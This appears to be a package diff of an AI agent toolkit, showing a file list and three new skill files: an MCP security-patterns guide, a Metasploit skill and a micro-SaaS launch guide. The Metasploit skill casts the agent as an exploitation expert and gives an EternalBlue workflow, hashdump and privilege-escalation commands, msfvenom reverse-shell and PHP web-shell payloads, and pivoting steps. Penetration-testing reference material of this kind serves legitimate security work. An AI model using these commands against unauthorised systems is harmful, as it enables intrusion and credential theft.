@musashishao/agent-kit 1.8.2 → 1.9.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.agent/agents/ai-architect.md +39 -0
- package/.agent/agents/ai-asset-factory.md +700 -0
- package/.agent/agents/ai-audio-factory.md +503 -0
- package/.agent/agents/cloud-engineer.md +39 -0
- package/.agent/agents/game-developer.md +190 -89
- package/.agent/agents/marketing-specialist.md +41 -0
- package/.agent/agents/orchestrator.md +113 -3
- package/.agent/agents/penetration-tester.md +15 -1
- package/.agent/agents/project-planner.md +67 -0
- package/.agent/agents/unity-mobile-master.md +949 -0
- package/.agent/mcp/config/registry.json +65 -51
- package/.agent/mcp/servers/notebooklm/README.md +114 -0
- package/.agent/mcp/servers/notebooklm/package.json +35 -0
- package/.agent/mcp/servers/notebooklm/src/auth/chrome.ts +225 -0
- package/.agent/mcp/servers/notebooklm/src/auth/index.ts +1 -0
- package/.agent/mcp/servers/notebooklm/src/index.ts +516 -0
- package/.agent/mcp/servers/notebooklm/src/services/index.ts +3 -0
- package/.agent/mcp/servers/notebooklm/src/services/library.ts +217 -0
- package/.agent/mcp/servers/notebooklm/src/services/notebooklm.ts +380 -0
- package/.agent/mcp/servers/notebooklm/tsconfig.json +15 -0
- package/.agent/mcp-gateway/README.md +169 -20
- package/.agent/mcp-gateway/package.json +22 -7
- package/.agent/mcp-gateway/src/auth/index.ts +55 -0
- package/.agent/mcp-gateway/src/auth/middleware.ts +242 -0
- package/.agent/mcp-gateway/src/auth/oauth.ts +462 -0
- package/.agent/mcp-gateway/src/auth/scopes.ts +227 -0
- package/.agent/mcp-gateway/src/index.ts +252 -105
- package/.agent/mcp-gateway/src/observability/index.ts +5 -0
- package/.agent/mcp-gateway/src/observability/otel.ts +405 -0
- package/.agent/mcp-gateway/src/transports/index.ts +5 -0
- package/.agent/mcp-gateway/src/transports/streamableHttp.ts +235 -0
- package/.agent/rules/CODEX.md +115 -2
- package/.agent/rules/CODE_RULES.md +73 -0
- package/.agent/rules/GEMINI.md +26 -1
- package/.agent/rules/MEMORY_STATE.md +110 -0
- package/.agent/rules/REFERENCE.md +40 -58
- package/.agent/rules/REF_SKILLS.md +116 -0
- package/.agent/rules/REF_WORKFLOWS.md +81 -0
- package/.agent/scripts/ak_cli.py +106 -5
- package/.agent/scripts/memory_manager.py +48 -9
- package/.agent/skills/3d-web-experience/SKILL.md +386 -0
- package/.agent/skills/DEPENDENCIES.md +54 -0
- package/.agent/skills/ab-test-setup/SKILL.md +77 -0
- package/.agent/skills/active-directory-attacks/SKILL.md +59 -0
- package/.agent/skills/agent-evaluation/SKILL.md +430 -0
- package/.agent/skills/agent-memory-systems/SKILL.md +426 -0
- package/.agent/skills/agent-tool-builder/SKILL.md +139 -0
- package/.agent/skills/ai-agents-architect/SKILL.md +115 -0
- package/.agent/skills/ai-product/SKILL.md +86 -0
- package/.agent/skills/ai-wrapper-product/SKILL.md +90 -0
- package/.agent/skills/analytics-tracking/SKILL.md +88 -0
- package/.agent/skills/anti-hallucination/SKILL.md +295 -0
- package/.agent/skills/anti-hallucination/scripts/check_hallucination.py +299 -0
- package/.agent/skills/api-fuzzing-bug-bounty/SKILL.md +66 -0
- package/.agent/skills/app-store-optimization/SKILL.md +66 -0
- package/.agent/skills/autonomous-agent-patterns/SKILL.md +414 -0
- package/.agent/skills/aws-penetration-testing/SKILL.md +50 -0
- package/.agent/skills/aws-serverless/SKILL.md +327 -0
- package/.agent/skills/azure-functions/SKILL.md +340 -0
- package/.agent/skills/bifurcation-analysis/SKILL.md +56 -0
- package/.agent/skills/brainstorming/SKILL.md +80 -6
- package/.agent/skills/broken-authentication/SKILL.md +53 -0
- package/.agent/skills/browser-automation/SKILL.md +408 -0
- package/.agent/skills/browser-extension-builder/SKILL.md +422 -0
- package/.agent/skills/bullmq-specialist/SKILL.md +424 -0
- package/.agent/skills/bun-development/SKILL.md +386 -0
- package/.agent/skills/burp-suite-testing/SKILL.md +60 -0
- package/.agent/skills/clerk-auth/SKILL.md +432 -0
- package/.agent/skills/cloud-penetration-testing/SKILL.md +51 -0
- package/.agent/skills/copywriting/SKILL.md +66 -0
- package/.agent/skills/crewai/SKILL.md +470 -0
- package/.agent/skills/decision-memory/SKILL.md +317 -0
- package/.agent/skills/discord-bot-architect/SKILL.md +447 -0
- package/.agent/skills/email-sequence/SKILL.md +73 -0
- package/.agent/skills/emergence-detector/SKILL.md +230 -0
- package/.agent/skills/emergence-detector/scripts/check_emergence.py +265 -0
- package/.agent/skills/ethical-hacking-methodology/SKILL.md +67 -0
- package/.agent/skills/explained-qa/SKILL.md +142 -0
- package/.agent/skills/explained-qa/game-terminology.md +214 -0
- package/.agent/skills/firebase/SKILL.md +377 -0
- package/.agent/skills/game-development/ai-dialogue-engine/SKILL.md +442 -0
- package/.agent/skills/game-development/ai-graphics-generator/SKILL.md +463 -0
- package/.agent/skills/game-development/ai-playtest-framework/SKILL.md +570 -0
- package/.agent/skills/game-development/camera-systems/SKILL.md +607 -0
- package/.agent/skills/game-development/card-battle-engine/SKILL.md +618 -0
- package/.agent/skills/game-development/character-controller-3d/SKILL.md +908 -0
- package/.agent/skills/game-development/cloud-save-sync/SKILL.md +527 -0
- package/.agent/skills/game-development/combat-system/SKILL.md +748 -0
- package/.agent/skills/game-development/compliance-rating/SKILL.md +277 -0
- package/.agent/skills/game-development/crossplatform-build/SKILL.md +386 -0
- package/.agent/skills/game-development/cultivation-progression/SKILL.md +520 -0
- package/.agent/skills/game-development/data-driven-balance/SKILL.md +535 -0
- package/.agent/skills/game-development/game-analytics-integrator/SKILL.md +410 -0
- package/.agent/skills/game-development/game-audio-advanced/SKILL.md +646 -0
- package/.agent/skills/game-development/game-economy-designer/SKILL.md +375 -0
- package/.agent/skills/game-development/game-marketing/SKILL.md +85 -0
- package/.agent/skills/game-development/game-state-manager/SKILL.md +883 -0
- package/.agent/skills/game-development/godot-expert/SKILL.md +462 -0
- package/.agent/skills/game-development/hybrid-game-spec/SKILL.md +220 -0
- package/.agent/skills/game-development/inventory-quest/SKILL.md +747 -0
- package/.agent/skills/game-development/liveops/SKILL.md +308 -0
- package/.agent/skills/game-development/localization/SKILL.md +286 -0
- package/.agent/skills/game-development/mobile-input-patterns/SKILL.md +343 -0
- package/.agent/skills/game-development/monetization-strategy/SKILL.md +94 -0
- package/.agent/skills/game-development/multiplayer-master/SKILL.md +727 -0
- package/.agent/skills/game-development/narrative-branching/SKILL.md +593 -0
- package/.agent/skills/game-development/npc-ai-integration/SKILL.md +110 -0
- package/.agent/skills/game-development/procedural-generation/SKILL.md +168 -0
- package/.agent/skills/game-development/procedural-level-ai/SKILL.md +367 -0
- package/.agent/skills/game-development/prototyping-rapid/SKILL.md +205 -0
- package/.agent/skills/game-development/spec-ecosystem/SKILL.md +155 -0
- package/.agent/skills/game-development/spec-ecosystem/decision-log-format.md +129 -0
- package/.agent/skills/game-development/spec-ecosystem/templates/PLAN-template.md +178 -0
- package/.agent/skills/game-development/spec-ecosystem/templates/SPEC-template.md +110 -0
- package/.agent/skills/game-development/spec-ecosystem/templates/TASKS-template.md +156 -0
- package/.agent/skills/game-development/survival-systems/SKILL.md +493 -0
- package/.agent/skills/game-development/testing-qa/SKILL.md +270 -0
- package/.agent/skills/game-development/unity-integration/SKILL.md +358 -0
- package/.agent/skills/game-development/unity-mobile-optimization/SKILL.md +271 -0
- package/.agent/skills/game-development/webgpu-shading/SKILL.md +209 -0
- package/.agent/skills/gcp-cloud-run/SKILL.md +358 -0
- package/.agent/skills/graphql/SKILL.md +492 -0
- package/.agent/skills/idor-testing/SKILL.md +64 -0
- package/.agent/skills/inngest/SKILL.md +128 -0
- package/.agent/skills/intent-capture/SKILL.md +65 -0
- package/.agent/skills/langfuse/SKILL.md +415 -0
- package/.agent/skills/langgraph/SKILL.md +360 -0
- package/.agent/skills/launch-strategy/SKILL.md +68 -0
- package/.agent/skills/linux-privilege-escalation/SKILL.md +62 -0
- package/.agent/skills/llm-app-patterns/SKILL.md +367 -0
- package/.agent/skills/marketing-ideas/SKILL.md +66 -0
- package/.agent/skills/mcp-composition/SKILL.md +362 -0
- package/.agent/skills/mcp-observability/SKILL.md +323 -0
- package/.agent/skills/mcp-security/SKILL.md +314 -0
- package/.agent/skills/metasploit-framework/SKILL.md +60 -0
- package/.agent/skills/micro-saas-launcher/SKILL.md +93 -0
- package/.agent/skills/neon-postgres/SKILL.md +339 -0
- package/.agent/skills/paid-ads/SKILL.md +64 -0
- package/.agent/skills/supabase-integration/SKILL.md +411 -0
- package/.agent/skills/trust-spectrum/SKILL.md +291 -0
- package/.agent/skills/vibe-coding-guard/SKILL.md +328 -0
- package/.agent/templates/AGENTS.game.md +63 -0
- package/.agent/templates/docs/WORKFLOW_GUIDE.en.md +100 -0
- package/.agent/templates/docs/WORKFLOW_GUIDE.vi.md +100 -0
- package/.agent/workflows/ai-agent.md +38 -0
- package/.agent/workflows/autofix.md +1 -0
- package/.agent/workflows/brainstorm.md +1 -0
- package/.agent/workflows/context.md +1 -0
- package/.agent/workflows/create.md +39 -8
- package/.agent/workflows/dashboard.md +1 -0
- package/.agent/workflows/debug.md +14 -0
- package/.agent/workflows/deploy.md +14 -0
- package/.agent/workflows/enhance.md +44 -0
- package/.agent/workflows/gamekit-init.md +177 -0
- package/.agent/workflows/gamekit-launch.md +338 -0
- package/.agent/workflows/gamekit-plan.md +204 -0
- package/.agent/workflows/gamekit-qa.md +153 -0
- package/.agent/workflows/gamekit-spec.md +243 -0
- package/.agent/workflows/gamekit-tasks.md +208 -0
- package/.agent/workflows/marketing.md +39 -0
- package/.agent/workflows/next.md +1 -0
- package/.agent/workflows/orchestrate.md +12 -0
- package/.agent/workflows/pentest.md +39 -0
- package/.agent/workflows/plan.md +42 -0
- package/.agent/workflows/preview.md +1 -0
- package/.agent/workflows/quality.md +1 -0
- package/.agent/workflows/saas.md +38 -0
- package/.agent/workflows/spec.md +42 -0
- package/.agent/workflows/status.md +1 -0
- package/.agent/workflows/test.md +14 -0
- package/.agent/workflows/ui-ux-pro-max.md +1 -0
- package/README.md +4 -4
- package/bin/cli.js +411 -111
- package/package.json +1 -2
- package/docs/AI_DATA_INFRASTRUCTURE.md +0 -288
- package/docs/CHANGELOG_AI_INFRA.md +0 -111
|
@@ -0,0 +1,314 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: mcp-security
|
|
3
|
+
description: OAuth 2.1 and security patterns for MCP servers. PKCE, scopes, API keys, sandboxing.
|
|
4
|
+
version: "1.0.0"
|
|
5
|
+
skills:
|
|
6
|
+
- mcp-builder
|
|
7
|
+
- vulnerability-scanner
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
# 🔐 MCP Security Patterns
|
|
11
|
+
|
|
12
|
+
> Secure your MCP servers with OAuth 2.1, scope-based access control, and enterprise-grade security.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Quick Reference
|
|
17
|
+
|
|
18
|
+
| File | Purpose |
|
|
19
|
+
|------|---------|
|
|
20
|
+
| [oauth-patterns.md](oauth-patterns.md) | OAuth 2.1 implementation guide |
|
|
21
|
+
| [scope-design.md](scope-design.md) | Scope definition patterns |
|
|
22
|
+
| [api-key-auth.md](api-key-auth.md) | Simple API key authentication |
|
|
23
|
+
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
## 1. Security Architecture
|
|
27
|
+
|
|
28
|
+
```
|
|
29
|
+
┌──────────────────────────────────────────────────────────────┐
|
|
30
|
+
│ MCP Security Stack │
|
|
31
|
+
├──────────────────────────────────────────────────────────────┤
|
|
32
|
+
│ Layer 1: Transport Security │
|
|
33
|
+
│ • TLS 1.3 for all remote connections │
|
|
34
|
+
│ • Certificate pinning for sensitive servers │
|
|
35
|
+
│ │
|
|
36
|
+
│ Layer 2: Authentication │
|
|
37
|
+
│ • OAuth 2.1 with PKCE (recommended) │
|
|
38
|
+
│ • API Keys (simpler alternative) │
|
|
39
|
+
│ • Dynamic client registration │
|
|
40
|
+
│ │
|
|
41
|
+
│ Layer 3: Authorization │
|
|
42
|
+
│ • Scope-based access control │
|
|
43
|
+
│ • Tool-level permissions │
|
|
44
|
+
│ • Step-up authorization for sensitive ops │
|
|
45
|
+
│ │
|
|
46
|
+
│ Layer 4: Runtime Protection │
|
|
47
|
+
│ • Input validation (Zod schemas) │
|
|
48
|
+
│ • Rate limiting │
|
|
49
|
+
│ • Sandboxing for code execution │
|
|
50
|
+
└──────────────────────────────────────────────────────────────┘
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
---
|
|
54
|
+
|
|
55
|
+
## 2. OAuth 2.1 Quick Start
|
|
56
|
+
|
|
57
|
+
### Server-Side (MCP Server)
|
|
58
|
+
|
|
59
|
+
```typescript
|
|
60
|
+
import {
|
|
61
|
+
validateAccessToken,
|
|
62
|
+
extractBearerToken,
|
|
63
|
+
hasScope
|
|
64
|
+
} from "./auth/oauth.js";
|
|
65
|
+
|
|
66
|
+
// Middleware to protect MCP endpoint
|
|
67
|
+
function authMiddleware(req, res, next) {
|
|
68
|
+
const token = extractBearerToken(req);
|
|
69
|
+
|
|
70
|
+
if (!token) {
|
|
71
|
+
res.status(401).json({ error: "Authentication required" });
|
|
72
|
+
return;
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
const result = validateAccessToken(token);
|
|
76
|
+
|
|
77
|
+
if (!result.valid) {
|
|
78
|
+
res.status(401).json({ error: result.error });
|
|
79
|
+
return;
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
req.auth = result;
|
|
83
|
+
next();
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// Check scope before tool execution
|
|
87
|
+
function toolHandler(req, toolName, input) {
|
|
88
|
+
if (!hasScope(req.auth, `execute:${toolName}`)) {
|
|
89
|
+
throw new Error("Insufficient scope");
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// Execute tool...
|
|
93
|
+
}
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
### Client-Side (Connecting to MCP)
|
|
97
|
+
|
|
98
|
+
```typescript
|
|
99
|
+
// 1. Generate PKCE challenge
|
|
100
|
+
const { codeVerifier, codeChallenge } = generatePKCE();
|
|
101
|
+
|
|
102
|
+
// 2. Redirect to authorization
|
|
103
|
+
const authUrl = new URL(authorizationEndpoint);
|
|
104
|
+
authUrl.searchParams.set("client_id", clientId);
|
|
105
|
+
authUrl.searchParams.set("code_challenge", codeChallenge);
|
|
106
|
+
authUrl.searchParams.set("code_challenge_method", "S256");
|
|
107
|
+
authUrl.searchParams.set("scope", "read:project execute:tools");
|
|
108
|
+
|
|
109
|
+
// 3. Exchange code for token
|
|
110
|
+
const { accessToken } = await exchangeCode(code, codeVerifier);
|
|
111
|
+
|
|
112
|
+
// 4. Use token in requests
|
|
113
|
+
fetch(mcpEndpoint, {
|
|
114
|
+
headers: { "Authorization": `Bearer ${accessToken}` }
|
|
115
|
+
});
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## 3. Scope Design
|
|
121
|
+
|
|
122
|
+
### Standard MCP Scopes
|
|
123
|
+
|
|
124
|
+
| Scope | Description | Risk Level |
|
|
125
|
+
|-------|-------------|------------|
|
|
126
|
+
| `read:project` | Read project context | 🟢 Low |
|
|
127
|
+
| `read:graph` | Read dependency graph | 🟢 Low |
|
|
128
|
+
| `read:search` | Execute search queries | 🟢 Low |
|
|
129
|
+
| `write:sync` | Trigger sync operations | 🟡 Medium |
|
|
130
|
+
| `execute:tools` | Execute MCP tools | 🟡 Medium |
|
|
131
|
+
| `admin:config` | Modify configuration | 🔴 High |
|
|
132
|
+
| `admin:*` | Full admin access | 🔴 Critical |
|
|
133
|
+
|
|
134
|
+
### Scope Hierarchy
|
|
135
|
+
|
|
136
|
+
```
|
|
137
|
+
admin:*
|
|
138
|
+
├── admin:config
|
|
139
|
+
├── admin:users
|
|
140
|
+
└── (all other scopes)
|
|
141
|
+
|
|
142
|
+
execute:*
|
|
143
|
+
├── execute:tools
|
|
144
|
+
└── execute:analysis
|
|
145
|
+
|
|
146
|
+
write:*
|
|
147
|
+
├── write:sync
|
|
148
|
+
└── write:cache
|
|
149
|
+
|
|
150
|
+
read:*
|
|
151
|
+
├── read:project
|
|
152
|
+
├── read:graph
|
|
153
|
+
└── read:search
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
### Tool-to-Scope Mapping
|
|
157
|
+
|
|
158
|
+
```typescript
|
|
159
|
+
const TOOL_SCOPES = {
|
|
160
|
+
"get_project_context": ["read:project"],
|
|
161
|
+
"analyze_dependencies": ["read:graph"],
|
|
162
|
+
"search_knowledge": ["read:search"],
|
|
163
|
+
"force_sync": ["write:sync"],
|
|
164
|
+
"execute_code": ["execute:tools", "admin:config"],
|
|
165
|
+
};
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## 4. API Key Authentication
|
|
171
|
+
|
|
172
|
+
For simpler use cases where OAuth is overkill:
|
|
173
|
+
|
|
174
|
+
```typescript
|
|
175
|
+
// Create API key
|
|
176
|
+
const apiKey = createApiKey("my-app", ["read:project", "read:search"]);
|
|
177
|
+
// Returns: "ak_abc123..."
|
|
178
|
+
|
|
179
|
+
// Client usage
|
|
180
|
+
fetch(mcpEndpoint, {
|
|
181
|
+
headers: { "X-API-Key": apiKey }
|
|
182
|
+
});
|
|
183
|
+
|
|
184
|
+
// Server validation
|
|
185
|
+
const result = validateApiKey(apiKey);
|
|
186
|
+
if (result.valid) {
|
|
187
|
+
// Proceed with scopes in result.scopes
|
|
188
|
+
}
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
### When to Use API Keys vs OAuth
|
|
192
|
+
|
|
193
|
+
| Criteria | API Keys | OAuth 2.1 |
|
|
194
|
+
|----------|----------|-----------|
|
|
195
|
+
| **Use case** | Server-to-server, CLI | Web apps, user context |
|
|
196
|
+
| **Security** | Medium | High |
|
|
197
|
+
| **Rotation** | Manual | Token expiry |
|
|
198
|
+
| **User context** | No | Yes |
|
|
199
|
+
| **Complexity** | Simple | Complex |
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## 5. Rate Limiting
|
|
204
|
+
|
|
205
|
+
```typescript
|
|
206
|
+
import { RateLimiter } from "./security/rateLimiter.js";
|
|
207
|
+
|
|
208
|
+
const limiter = new RateLimiter({
|
|
209
|
+
windowMs: 60000, // 1 minute
|
|
210
|
+
maxRequests: {
|
|
211
|
+
"read:*": 100, // 100 reads/min
|
|
212
|
+
"write:*": 20, // 20 writes/min
|
|
213
|
+
"execute:*": 10, // 10 executions/min
|
|
214
|
+
"admin:*": 5, // 5 admin ops/min
|
|
215
|
+
}
|
|
216
|
+
});
|
|
217
|
+
|
|
218
|
+
// In middleware
|
|
219
|
+
if (!limiter.allow(req.auth.scope, req.clientId)) {
|
|
220
|
+
res.status(429).json({ error: "Rate limit exceeded" });
|
|
221
|
+
return;
|
|
222
|
+
}
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
---
|
|
226
|
+
|
|
227
|
+
## 6. Sandboxing Code Execution
|
|
228
|
+
|
|
229
|
+
For MCP servers that execute code:
|
|
230
|
+
|
|
231
|
+
```typescript
|
|
232
|
+
import Docker from "dockerode";
|
|
233
|
+
|
|
234
|
+
async function executeInSandbox(code: string): Promise<string> {
|
|
235
|
+
const docker = new Docker();
|
|
236
|
+
|
|
237
|
+
const container = await docker.createContainer({
|
|
238
|
+
Image: "node:20-alpine",
|
|
239
|
+
Cmd: ["node", "-e", code],
|
|
240
|
+
NetworkDisabled: true,
|
|
241
|
+
HostConfig: {
|
|
242
|
+
Memory: 128 * 1024 * 1024, // 128MB
|
|
243
|
+
CpuPeriod: 100000,
|
|
244
|
+
CpuQuota: 50000, // 50% CPU
|
|
245
|
+
ReadonlyRootfs: true,
|
|
246
|
+
}
|
|
247
|
+
});
|
|
248
|
+
|
|
249
|
+
await container.start();
|
|
250
|
+
const logs = await container.logs({ stdout: true, stderr: true });
|
|
251
|
+
await container.remove({ force: true });
|
|
252
|
+
|
|
253
|
+
return logs.toString();
|
|
254
|
+
}
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
---
|
|
258
|
+
|
|
259
|
+
## 7. Security Checklist
|
|
260
|
+
|
|
261
|
+
### Before Deployment
|
|
262
|
+
|
|
263
|
+
- [ ] TLS enabled for all remote connections
|
|
264
|
+
- [ ] OAuth 2.1 or API key authentication configured
|
|
265
|
+
- [ ] Scopes defined for all tools
|
|
266
|
+
- [ ] Rate limiting enabled
|
|
267
|
+
- [ ] Input validation on all parameters
|
|
268
|
+
- [ ] Secrets stored in environment variables
|
|
269
|
+
- [ ] Audit logging enabled
|
|
270
|
+
- [ ] Error messages don't leak sensitive info
|
|
271
|
+
|
|
272
|
+
### Periodic Review
|
|
273
|
+
|
|
274
|
+
- [ ] Rotate API keys quarterly
|
|
275
|
+
- [ ] Review scope assignments
|
|
276
|
+
- [ ] Audit access logs
|
|
277
|
+
- [ ] Update dependencies
|
|
278
|
+
- [ ] Penetration test annually
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
## 8. Common Vulnerabilities
|
|
283
|
+
|
|
284
|
+
### OWASP Top 10 for MCP
|
|
285
|
+
|
|
286
|
+
| Risk | Description | Mitigation |
|
|
287
|
+
|------|-------------|------------|
|
|
288
|
+
| **Injection** | Malicious input in tool params | Zod validation, sanitization |
|
|
289
|
+
| **Broken Auth** | Weak tokens, no expiry | OAuth 2.1, token rotation |
|
|
290
|
+
| **Data Exposure** | Sensitive data in responses | Scope-based filtering |
|
|
291
|
+
| **Broken Access** | Missing authorization checks | Per-tool scope verification |
|
|
292
|
+
| **Misconfiguration** | Default credentials, open ports | Security hardening |
|
|
293
|
+
| **Prompt Injection** | Malicious prompts | Input sanitization |
|
|
294
|
+
|
|
295
|
+
### Prompt Injection Defense
|
|
296
|
+
|
|
297
|
+
```typescript
|
|
298
|
+
// Sanitize user input before including in prompts
|
|
299
|
+
function sanitizeForPrompt(input: string): string {
|
|
300
|
+
// Remove potential control sequences
|
|
301
|
+
return input
|
|
302
|
+
.replace(/\[INST\]/gi, "")
|
|
303
|
+
.replace(/\[\/INST\]/gi, "")
|
|
304
|
+
.replace(/<<SYS>>/gi, "")
|
|
305
|
+
.replace(/<\/s>/gi, "")
|
|
306
|
+
.replace(/Human:/gi, "")
|
|
307
|
+
.replace(/Assistant:/gi, "")
|
|
308
|
+
.substring(0, 10000); // Limit length
|
|
309
|
+
}
|
|
310
|
+
```
|
|
311
|
+
|
|
312
|
+
---
|
|
313
|
+
|
|
314
|
+
> **Remember:** Security is not optional for MCP servers. These servers have access to codebases, files, and potentially production systems. Treat them with the same security rigor as your production APIs.
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: metasploit-framework
|
|
3
|
+
description: "Expert use of the Metasploit Framework (MSF) for exploitation, post-exploitation, and pivoting. Covers msfconsole, msfvenom, and meterpreter."
|
|
4
|
+
version: "1.0.0"
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# 🛡️ Metasploit Framework
|
|
8
|
+
|
|
9
|
+
You are an exploitation expert. You know how to use the world's most popular penetration testing framework to turn a vulnerability into a shell.
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## The MSF Workflow
|
|
14
|
+
|
|
15
|
+
1. **Search**: `search eternalblue`
|
|
16
|
+
2. **Select**: `use exploit/windows/smb/ms17_010_eternalblue`
|
|
17
|
+
3. **Configure**: `set RHOSTS 192.168.1.50`, `set LHOST 192.168.1.10`
|
|
18
|
+
4. **Payload**: `set payload windows/x64/meterpreter/reverse_tcp`
|
|
19
|
+
5. **Exploit**: `run` or `exploit`
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Meterpreter: The Ultimate Shell
|
|
24
|
+
Once you have a meterpreter session, the real work starts:
|
|
25
|
+
- **`getsystem`**: Attempt automated privilege escalation.
|
|
26
|
+
- **`hashdump`**: Extract local password hashes.
|
|
27
|
+
- **`screenshot`**: See what the user is doing.
|
|
28
|
+
- **`upload/download`**: Transfer files.
|
|
29
|
+
- **`migrate`**: Move the shell into a stable process (e.g., `explorer.exe`).
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## MSFVenom: Payload Generation
|
|
34
|
+
Create custom payloads for different OS/architectures.
|
|
35
|
+
```bash
|
|
36
|
+
# Windows Reverse Shell EXE
|
|
37
|
+
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
|
|
38
|
+
|
|
39
|
+
# Linux Reverse Shell ELF
|
|
40
|
+
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
|
|
41
|
+
|
|
42
|
+
# PHP Web Shell
|
|
43
|
+
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Pivoting (Lateral Movement)
|
|
49
|
+
Using a compromised machine to reach hidden internal networks.
|
|
50
|
+
1. **Routing**: `route add 10.10.10.0 255.255.255.0 1` (within MSF).
|
|
51
|
+
2. **Port Forward**: `portfwd add -l 8080 -p 80 -r 10.10.10.5`.
|
|
52
|
+
3. **SOCKS Proxy**: `use auxiliary/server/socks_proxy`.
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## Related Skills
|
|
57
|
+
|
|
58
|
+
- `ethical-hacking-methodology` - The "Exploitation" phase
|
|
59
|
+
- `active-directory-attacks` - Pivoting inside AD
|
|
60
|
+
- `linux-privilege-escalation` - Post-exploitation focus
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: micro-saas-launcher
|
|
3
|
+
description: "A comprehensive guide to building, launching, and scaling Micro-SaaS products. Covers lean development, distribution, and monetization."
|
|
4
|
+
version: "1.0.0"
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# 🚀 Micro-SaaS Launcher
|
|
8
|
+
|
|
9
|
+
You are an expert in the "Lean" approach to Micro-SaaS. You focus on solving high-pain, niche problems with minimal code. You value speed, recurring revenue (MRR), and high-leverage marketing.
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## When to Use This Skill
|
|
14
|
+
|
|
15
|
+
- Building a new SaaS product from scratch
|
|
16
|
+
- Planning a launch on Product Hunt or Twitter
|
|
17
|
+
- Designing subscription-based monetization
|
|
18
|
+
- Setting up automated customer support and billing
|
|
19
|
+
- Scaling from 0 to $1k MRR
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Capabilities
|
|
24
|
+
|
|
25
|
+
- `lean-saas-architecture`
|
|
26
|
+
- `stripe-integration`
|
|
27
|
+
- `distribution-strategy`
|
|
28
|
+
- `niche-selection`
|
|
29
|
+
- `saas-analytics`
|
|
30
|
+
- `automated-onboarding`
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## 1. The Lean Stack
|
|
35
|
+
|
|
36
|
+
| Layer | Recommendation | Rationale |
|
|
37
|
+
|-------|----------------|-----------|
|
|
38
|
+
| **Framework** | Next.js (App Router) | SEO, speed, full-stack |
|
|
39
|
+
| **Auth** | Clerk / Supabase | Done for you security |
|
|
40
|
+
| **DB** | Supabase / Neon | Managed, scales to zero |
|
|
41
|
+
| **Billing** | Stripe (Checkout/Billing) | Industry standard |
|
|
42
|
+
| **Email** | Resend | Developer-friendly |
|
|
43
|
+
| **Hosting** | Vercel / Railway | Zero config |
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## 2. Distribution (The Engine)
|
|
48
|
+
|
|
49
|
+
Code is 20%. Distribution is 80%.
|
|
50
|
+
|
|
51
|
+
- **The Hook**: Free utility tool (e.g., "Free Image Compressor").
|
|
52
|
+
- **Product Hunt**: Targeted launch sequence.
|
|
53
|
+
- **Twitter/X**: Build in public (BIP) strategy.
|
|
54
|
+
- **SEO (Programmatic)**: Generate landing pages for long-tail keywords.
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## 3. Monetization Patterns
|
|
59
|
+
|
|
60
|
+
```typescript
|
|
61
|
+
// Stripe-first design
|
|
62
|
+
export const PRICING_PLANS = {
|
|
63
|
+
FREE: {
|
|
64
|
+
name: "Free",
|
|
65
|
+
limit: 5,
|
|
66
|
+
priceId: null,
|
|
67
|
+
},
|
|
68
|
+
PRO: {
|
|
69
|
+
name: "Pro",
|
|
70
|
+
limit: "unlimited",
|
|
71
|
+
priceId: "price_XYZ123",
|
|
72
|
+
monthlyPrice: 19,
|
|
73
|
+
}
|
|
74
|
+
};
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## 4. Micro-SaaS Checklist
|
|
80
|
+
|
|
81
|
+
- [ ] **Problem Verification**: Did someone say "I would pay for this" in a community?
|
|
82
|
+
- [ ] **Landing Page**: One clear CTA, zero Nav links.
|
|
83
|
+
- [ ] **MVP**: Does it solve the *one* core problem?
|
|
84
|
+
- [ ] **Onboarding**: Time to Value (TTV) < 60 seconds.
|
|
85
|
+
- [ ] **Feedback Loop**: Tally/Typeform for user complaints.
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## Related Skills
|
|
90
|
+
|
|
91
|
+
